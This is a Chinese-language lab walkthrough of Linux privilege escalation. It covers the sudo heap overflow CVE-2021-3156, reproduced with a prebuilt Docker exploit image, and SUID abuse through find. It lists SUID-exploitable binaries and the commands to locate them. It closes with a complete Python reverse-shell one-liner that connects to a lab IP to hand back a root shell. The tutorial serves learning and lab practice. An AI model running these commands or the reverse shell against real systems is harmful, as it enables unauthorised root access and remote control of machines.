Sudo漏洞提权
漏洞编号:cve-2021-3156
影响版本:
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1
检测方法:
sudo -V
漏洞搭建:
靶场连接Docker Hub
拉取docker
sudo docker pull chenaotian/cve-2021-3156
启动环境:
sudo docker run -d -ti --rm -h sudodebug --name sudodebug --cap-add=SYS_PTRACE chenaotian/cve-2021-3156:latest /bin/bash
进入docker shell
sudo docker exec -it sudodebug /bin/bash
进入~目录,然后进入exp目录
cd ~
cd exp
运行EXP
./exp
SUID提权
SUID可以让调用者以文件拥有者的身份运行该文件。那么我们运行suid拥有者为root的时候,我们就有了root权限。
已知道可用来SUID的命令如下
nmap、vim、find、bash、more、less、nano、cp
可以用下面的命令来查找Linux中可以用来SUID提权的命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
环境部署:
我是在自己的kali中进行实验,首先输入
sudo chmod u+s /usr/bin/find
然后关闭此窗口,开启另一个窗口输入id进行检测
复现过程:
输入
find / -user root -perm -4000 -print 2>/dev/null
然后创建一个文本文件本次创建的是1.txt
touch 1.txt
输入
find 1.txt -exec whoami \;
可以看出whoami为root
输入下面命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.111.128",4433));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
用来反弹一个root的shell